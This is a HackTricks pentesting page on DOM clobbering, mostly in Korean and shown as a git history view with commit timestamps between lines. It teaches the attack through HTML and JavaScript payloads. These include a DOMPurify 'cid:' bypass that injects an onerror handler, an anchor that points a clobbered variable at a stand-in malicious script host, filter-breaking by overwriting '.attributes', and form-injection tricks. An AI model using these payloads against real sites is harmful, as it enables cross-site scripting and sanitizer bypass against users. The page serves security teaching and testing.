hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

226 lines
13 KiB
Markdown
Raw Normal View History

2022-10-13 00:56:34 +00:00
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-13 00:56:34 +00:00
<details>
<summary>Support HackTricks</summary>
2022-10-13 00:56:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}
2022-10-13 00:56:34 +00:00
## **기본 사항**
2023-03-03 15:39:23 +00:00
HTML 태그에서 **`id`** 및 **`name`** 속성을 사용하여 **JS 컨텍스트 내에서 전역 변수를 생성하는 것이 가능합니다.**
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**오직** 특정 요소만이 **name 속성**을 사용하여 전역 변수를 클로버링할 수 있습니다. 이들은: `embed`, `form`, `iframe`, `image`, `img``object`입니다.
2023-03-03 15:39:23 +00:00
흥미롭게도, **form 요소**를 사용하여 변수를 **클로버링**할 경우, 요소 자체의 **`toString`** 값이 반환됩니다: `[object HTMLFormElement]` 그러나 **anchor**를 사용할 경우 **`toString`** 값은 앵커의 **`href`**가 됩니다. 따라서, **`a`** 태그를 사용하여 클로버링하면, **문자열로 처리될 때** **값**을 **제어**할 수 있습니다:
2023-03-03 15:39:23 +00:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
2023-03-03 15:39:23 +00:00
배열과 객체 속성을 **덮어쓸** 수도 있습니다:
2023-03-03 15:39:23 +00:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**3번째 속성**(예: x.y.z)을 덮어쓰려면 **`form`**을 사용해야 합니다:
2023-03-03 15:39:23 +00:00
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Clobbering 더 많은 속성은 **더 복잡하지만 여전히 가능**합니다, iframes를 사용하여:
2023-03-03 15:39:23 +00:00
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
style 태그는 **iframe이 렌더링될 충분한 시간을 주기 위해** 사용됩니다. 이것이 없으면 **undefined** 경고가 표시됩니다.
2023-03-03 15:39:23 +00:00
{% endhint %}
더 깊은 속성을 덮어쓰려면, **html 인코딩이 있는 iframe**을 다음과 같이 사용할 수 있습니다:
2023-03-03 15:39:23 +00:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
2024-02-10 21:30:13 +00:00
### **필터 우회**
2023-03-03 15:39:23 +00:00
필터가 `document.getElementByID('x').attributes`와 같은 것을 사용하여 노드의 **속성**을 **루프**하고 있다면, **`.attributes`** 속성을 **클로버**하여 필터를 **중단**시킬 수 있습니다. **`tagName`**, **`nodeName`** 또는 **`parentNode`**와 같은 다른 DOM 속성들도 **클로버**할 수 있습니다.
2023-03-03 15:39:23 +00:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **클로버링 `window.someObject`**
2023-03-03 15:39:23 +00:00
JavaScript에서는 다음과 같은 것을 찾는 것이 일반적입니다:
2023-03-03 15:39:23 +00:00
```javascript
var someObject = window.someObject || {};
```
페이지에서 HTML을 조작하면 `someObject`를 DOM 노드로 덮어쓸 수 있어 보안 취약점을 도입할 수 있습니다. 예를 들어, 악성 스크립트를 가리키는 앵커 요소로 `someObject`를 교체할 수 있습니다:
2022-10-13 00:56:34 +00:00
```html
2024-02-06 03:10:27 +00:00
<a id=someObject href=//malicious-website.com/malicious.js></a>
2022-10-13 00:56:34 +00:00
```
취약한 코드에서:
2023-03-03 15:39:23 +00:00
```html
2024-02-06 03:10:27 +00:00
<script>
2024-02-10 21:30:13 +00:00
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
2024-02-06 03:10:27 +00:00
</script>
2023-03-03 15:39:23 +00:00
```
이 방법은 스크립트 소스를 이용하여 원치 않는 코드를 실행합니다.
2022-10-13 00:56:34 +00:00
**트릭**: **`DOMPurify`**는 **`cid:`** 프로토콜을 사용하도록 허용하며, 이는 **이중 따옴표를 URL 인코딩하지 않습니다**. 이는 **런타임에 디코딩될 인코딩된 이중 따옴표를 주입할 수 있음을 의미합니다**. 따라서 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**와 같은 것을 주입하면 HTML 인코딩된 `&quot;`**런타임에 디코딩되어** 속성 값에서 **탈출**하여 **`onerror`** 이벤트를 **생성**합니다.
2022-10-13 00:56:34 +00:00
또 다른 기술은 **`form`** 요소를 사용합니다. 특정 클라이언트 측 라이브러리는 새로 생성된 폼 요소의 속성을 검사하여 이를 정리합니다. 그러나 폼 안에 `id=attributes`가 있는 `input`을 추가함으로써 속성 속성을 효과적으로 덮어쓰게 되어, 정리기가 실제 속성에 접근하지 못하게 합니다.
2022-10-13 00:56:34 +00:00
이 유형의 클로버링 예제를 [**이 CTF 작성물에서 찾을 수 있습니다**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2022-10-13 00:56:34 +00:00
## 문서 객체 클로버링
2022-10-13 00:56:34 +00:00
문서에 따르면 DOM 클로버링을 사용하여 문서 객체의 속성을 덮어쓸 수 있습니다:
2022-10-13 00:56:34 +00:00
> [문서](https://html.spec.whatwg.org/multipage/dom.html#document) 인터페이스는 [이름이 있는 속성](https://webidl.spec.whatwg.org/#dfn-support-named-properties)을 지원합니다. [문서](https://html.spec.whatwg.org/multipage/dom.html#document) 객체의 [지원되는 속성 이름](https://webidl.spec.whatwg.org/#dfn-supported-property-names)은 다음과 같으며, 이는 기여한 요소에 따라 [트리 순서](https://dom.spec.whatwg.org/#concept-tree-order)로 정렬되며, 나중의 중복은 무시되고, 동일한 요소가 두 가지를 기여할 때는 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 속성의 값이 이름 속성의 값보다 먼저 옵니다:
2022-10-13 00:56:34 +00:00
>
> \- 비어 있지 않은 이름 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), 및 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 이름 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다;\
2022-10-13 00:56:34 +00:00
> \
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성을 가진 모든 [노출된](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다;\
2022-10-13 00:56:34 +00:00
> \
> \- 비어 있지 않은 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성과 비어 있지 않은 이름 콘텐츠 속성을 모두 가진 모든 [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 요소의 [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 콘텐츠 속성 값은 문서가 그들의 [루트](https://dom.spec.whatwg.org/#concept-tree-root)인 [문서 트리](https://dom.spec.whatwg.org/#in-a-document-tree)에 있습니다.
2022-10-13 00:56:34 +00:00
이 기술을 사용하면 일반적으로 사용되는 **값인 `document.cookie`, `document.body`, `document.children`**`document.querySelector`와 같은 문서 인터페이스의 메서드를 덮어쓸 수 있습니다.
2022-10-13 00:56:34 +00:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## 요소가 클로버링된 후 작성하기
2022-10-13 00:56:34 +00:00
**`document.getElementById()`** 및 **`document.querySelector()`** 호출의 결과는 동일한 id 속성을 가진 `<html>` 또는 `<body>` 태그를 주입함으로써 변경될 수 있습니다. 방법은 다음과 같습니다:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain" class="x">test</div>
2022-12-20 11:25:07 +00:00
<p>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain" class="x">clobbered</html>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
또한, 이러한 주입된 HTML/body 태그를 숨기기 위해 스타일을 사용함으로써 `innerText`의 다른 텍스트로 인한 간섭을 방지할 수 있어 공격의 효율성을 높일 수 있습니다:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">test</div>
2022-12-20 11:25:07 +00:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
SVG에 대한 조사 결과 `<body>` 태그도 효과적으로 활용될 수 있음을 알 수 있습니다:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2022-12-20 11:25:07 +00:00
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
HTML 태그가 Chrome 및 Firefox와 같은 브라우저의 SVG 내에서 작동하려면 `<foreignobject>` 태그가 필요합니다:
2022-12-20 11:25:07 +00:00
```html
2024-02-06 03:10:27 +00:00
<div style="display:none" id="cdnDomain">example.com</div>
2022-12-20 11:25:07 +00:00
<svg>
<foreignobject>
2024-02-06 03:10:27 +00:00
<html id="cdnDomain">clobbered</html>
2022-12-20 11:25:07 +00:00
</foreignobject>
</svg>
<script>
2024-02-06 03:10:27 +00:00
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2022-12-20 11:25:07 +00:00
</script>
```
## Clobbering Forms
2022-12-20 11:25:07 +00:00
**양식 안에 새로운 항목을 추가하는 것이 가능합니다** 단지 **일부 태그 안에 `form` 속성을 지정함으로써**. 이를 사용하여 **양식 안에 새로운 값을 추가하고** 심지어 **전송할 새로운 버튼을 추가할 수 있습니다** (클릭재킹 또는 일부 `.click()` JS 코드를 악용하여):
2023-02-20 09:58:12 +00:00
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* 더 많은 폼 속성은 [**버튼 확인하기**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-02-20 09:58:12 +00:00
## 참고 문헌
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
2024-02-06 03:10:27 +00:00
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. 해커를 위한 JavaScript: 해커처럼 생각하는 법 배우기.
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-12-20 11:25:07 +00:00
2022-10-13 00:56:34 +00:00
<details>
<summary>HackTricks 지원하기</summary>
2022-10-13 00:56:34 +00:00
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
2022-10-13 00:56:34 +00:00
</details>
{% endhint %}